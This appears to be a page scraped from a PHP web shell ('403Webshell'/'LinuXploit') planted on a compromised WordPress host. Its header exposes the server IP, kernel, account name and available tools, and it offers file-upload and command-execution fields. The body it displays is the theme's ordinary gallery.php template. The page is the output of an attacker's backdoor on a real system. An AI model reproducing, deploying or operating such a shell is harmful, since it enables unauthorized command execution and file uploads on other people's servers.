403Webshell
Server IP : 213.186.33.4  /  Your IP : 216.73.216.222
Web Server : Apache
System : Linux webm005.cluster103.gra.hosting.ovh.net 6.18.39-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Tue Jul 21 12:03:15 CEST 2026 x86_64
User : karinebmkh ( 644538)
PHP Version : 8.4.22
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/karinebmkh/www2/wp-content/themes/novablog/post-template/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/karinebmkh/www2/wp-content/themes/novablog/post-template/gallery.php
<?php 
$novablog_gallery_featured = get_post_meta(get_the_ID(), 'novablog_gallery_featured', true);

if (($novablog_gallery_featured=='true' && is_singular()) or ($novablog_gallery_featured=='false')) {
if (is_singular()) { 
$novablog_targetheight = get_post_meta(get_the_ID(), 'novablog_gallery_targetheight_single', true);
}else{
$novablog_targetheight = get_post_meta(get_the_ID(), 'novablog_gallery_targetheight', true);
}
$novablog_gallery_margins = get_post_meta(get_the_ID(), 'novablog_gallery_margins', true);
$novablog_gallery_captions = get_post_meta(get_the_ID(), 'novablog_gallery_captions', true);
$novablog_gallery_randomize = get_post_meta(get_the_ID(), 'novablog_gallery_randomize', true);
$novablog_gallery_type = get_post_meta(get_the_ID(), 'novablog_gallery_format', true);
$novablog_random = novablog_gener_random(10);
if ($novablog_gallery_type!='slideshow' && $novablog_gallery_type!='grid') {echo esc_html__('Select the gallery type', 'novablog');}
	 if ($novablog_gallery_type=='slideshow') { 
			$args = array(
			'orderby'        => 'menu_order',
			'order'          => 'ASC',
			'post_type'      => 'attachment',
			'post_parent'    => get_the_ID(),
			'post_mime_type' => 'image',
			'post_status'    => null,
			'numberposts'    => -1,
		);
		$attachments = get_post_meta( $post->ID, '_format_gallery_images', true );
		if ($attachments) {  
		$c = 0;
		foreach ($attachments as $attachment) { 
		if ( wp_attachment_is_image( $attachment ) ) $c++; 
		}
	 ?>
		<!-- Slider -->
		<div class="carousel-wrap">
			<div id="owl-carousel-<?php echo esc_attr( $novablog_random) ?>" class="owl-carousel" data-howmany="<?php echo esc_attr($c); ?>" data-margin="0" data-items="1" data-tablet="1" data-mobile="1"  data-auto-play="true" data-auto-play-timeout="5000" data-nav="true" data-rtl="<?php if (is_rtl()) { echo esc_attr('true'); }else{ echo esc_attr('false');} ?>" data-pagination="false">
					<?php
							
								foreach ($attachments as $attachment) {
								
									$attachment_url = wp_get_attachment_image_src( $attachment, 'novablog-standard-large' );
									$url            = $attachment_url[0];
									$image          = aq_resize($url, 1170, 600, true, true, true);
									$caption = get_post_field('post_excerpt', $attachment);
							?>
							<div class="featured-thumbnail thumbnail large"><img src="<?php echo esc_url($image); ?>" width="<?php echo esc_attr($attachment_url[1]); ?>" height="<?php echo esc_attr($attachment_url[2]); ?>" alt="<?php echo esc_attr($caption); ?>" /><?php if ($caption !='') { ?><div class="slideshow-cap"><?php echo esc_attr($caption); ?></div><?php } ?></div>
								<?php }; ?>
			</div></div>
			<!-- /Slider -->
	
		<?php }else{echo esc_html__('No images', 'novablog');}
		} ?>
		
		<!-- Grid -->
		<?php if ($novablog_gallery_type=='grid') {
					$args_hs = array(
			'orderby'        => 'menu_order',
			'order'          => 'ASC',
			'post_type'      => 'attachment',
			'post_parent'    => get_the_ID(),
			'post_mime_type' => 'image',
			'post_status'    => null,
			'numberposts'    => -1,
		);

		$novablog_attachments = get_post_meta( $post->ID, '_format_gallery_images', true ); 
		if ($novablog_attachments) {
		?>

					<div id="justifiedgall_<?php echo esc_attr( $novablog_random) ?>" data-captions="<?php if( ! empty( $novablog_gallery_captions ) ) {echo esc_attr( $novablog_gallery_captions);}else{echo 'true';} ?>" data-rowheight="<?php if( ! empty( $novablog_targetheight ) ) {echo esc_attr( $novablog_targetheight);}else{echo '150';} ?>" data-margins="<?php if( ! empty( $novablog_gallery_margins ) ) {echo esc_attr( $novablog_gallery_margins);}else{echo '10';} ?>" data-randomize="<?php if( ! empty( $novablog_gallery_randomize ) ) {echo esc_attr( $novablog_gallery_randomize);}else{echo 'false';} ?>">
		
					<?php 
					foreach ($novablog_attachments as $attachment) {
									$attachment_url = wp_get_attachment_image_src( $attachment, 'novablog-standard-post' );
									$attachment_full = wp_get_attachment_image_src( $attachment, 'full' );
									$url            = $attachment_url[0];
							
			$caption = get_post_field('post_excerpt', $attachment);
					?>
					
					<div><a class="open" title="<?php echo esc_attr($caption); ?>" href="<?php echo esc_url($attachment_full['0']); ?>"><img src="<?php echo esc_url($url); ?>" width="<?php echo esc_attr($attachment_url[1]); ?>" height="<?php echo esc_attr($attachment_url[2]); ?>" alt="<?php echo esc_attr($caption); ?>"/></a></div>
					<?php 
						}
					?>
			</div>

		<?php }else{echo esc_html__('No images', 'novablog');} }?>
		<!-- /Grid -->
<?php }

 if ($novablog_gallery_featured=='true' && !is_singular()) {  get_template_part('post-template/post-thumb'); } ?>

Youez - 2016 - github.com/yon3zu
LinuXploit